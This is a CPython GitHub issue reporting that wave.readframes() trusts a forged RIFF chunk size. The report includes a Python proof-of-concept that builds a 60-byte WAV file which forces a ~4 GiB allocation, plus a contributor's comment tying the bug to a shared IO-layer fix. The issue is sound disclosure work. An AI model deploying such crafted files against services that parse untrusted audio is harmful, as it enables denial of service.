Skip to content

Memory Exhaustion in wave.readframes() via Crafted Chunk Size #151308

Open

Description

@DarkaMaul

Bug report

Bug description:

Summary

The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).

Details

_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():

self.chunksize = struct.unpack_from(strflag+'L', file.read(4))[0]

cpython/Lib/wave.py

Lines 188 to 192 in 9633c52

if size < 0:
size = self.chunksize - self.size_read
if size > self.chunksize - self.size_read:
size = self.chunksize - self.size_read
data = self.file.read(size)

Reproducer

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""

import resource
import struct
import sys
import tempfile
import wave


CLAIMED_SIZE = 0xFFFFFFFF  # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def build_crafted_wav() -> bytes:
    """Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
    fmt_data = struct.pack(
        "<HHLLHH",
        1,      # wFormatTag = WAVE_FORMAT_PCM
        1,      # nchannels = 1 (mono)
        44100,  # framerate
        88200,  # dwAvgBytesPerSec
        2,      # wBlockAlign (nchannels * sampwidth)
        16,     # wBitsPerSample
    )
    fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data

    data_chunk = (
        b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
    )

    riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
    return riff_header + fmt_chunk + data_chunk


def main():
    wav_bytes = build_crafted_wav()

    with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
        tmp.write(wav_bytes)
        tmp.flush()

        try:
            w = wave.open(tmp.name, "r")
            w.readframes(-1)
            w.close()
        except MemoryError:
            print(
                f"MemoryError from {len(wav_bytes)}-byte WAV "
                f"with chunksize={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: wave rejected crafted chunksize")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Impact

Memory Error

Related issue

#141713

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs

Activity

  1. harjothkhara commented on Jun 11, 2026

    @harjothkhara
    Contributor

    Reproduced on current main. With the 60-byte crafted file (RIFF size and data chunk size both 0xFFFFFFFF) and a read()-observing wrapper around the source, wave issues a single raw read request of ~4 GiB straight from the forged chunk size in _Chunk.read() (Lib/wave.py), which pre-allocates on a real FileIO/BufferedReader, so this reproduces as described.

    That said, this looks like the same read(n)-with-attacker-controlled-n class tracked by #141713, which has an open core-dev PR (#142022) making FileIO.read()/BufferedReader.read() grow their buffer progressively instead of allocating the full requested size up front. Because that fix lands at the shared IO layer (it changes no wave.py/zipfile/ code), it should cover the filename / FileIO / BufferedReader path this reproducer uses — and the sibling zipfile report #151307 — without per-parser validation, and avoids the compat hazards of an up-front chunksize check (legitimately-truncated-but-readable files, non-seekable streams). (A custom file-like with its own pre-allocating read(n) would fall outside that, hence the optional local clamp below.)

    Is the preference to let #142022 cover this and close here as a duplicate of #141713, or would you also want a wave-local defense-in-depth bound (clamp the read to remaining real file length when the source is seekable)? Happy to do the latter if wanted, but flagging the overlap first so I'm not duplicating @serhiy-storchaka's in-flight work.

  2. added
    stdlibStandard Library Python modules in the Lib/ directory
    on Jun 13, 2026
  3. added a commit that references this issue on Jun 15, 2026
  4. added a commit that references this issue on Aug 10, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    stdlibStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or error

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions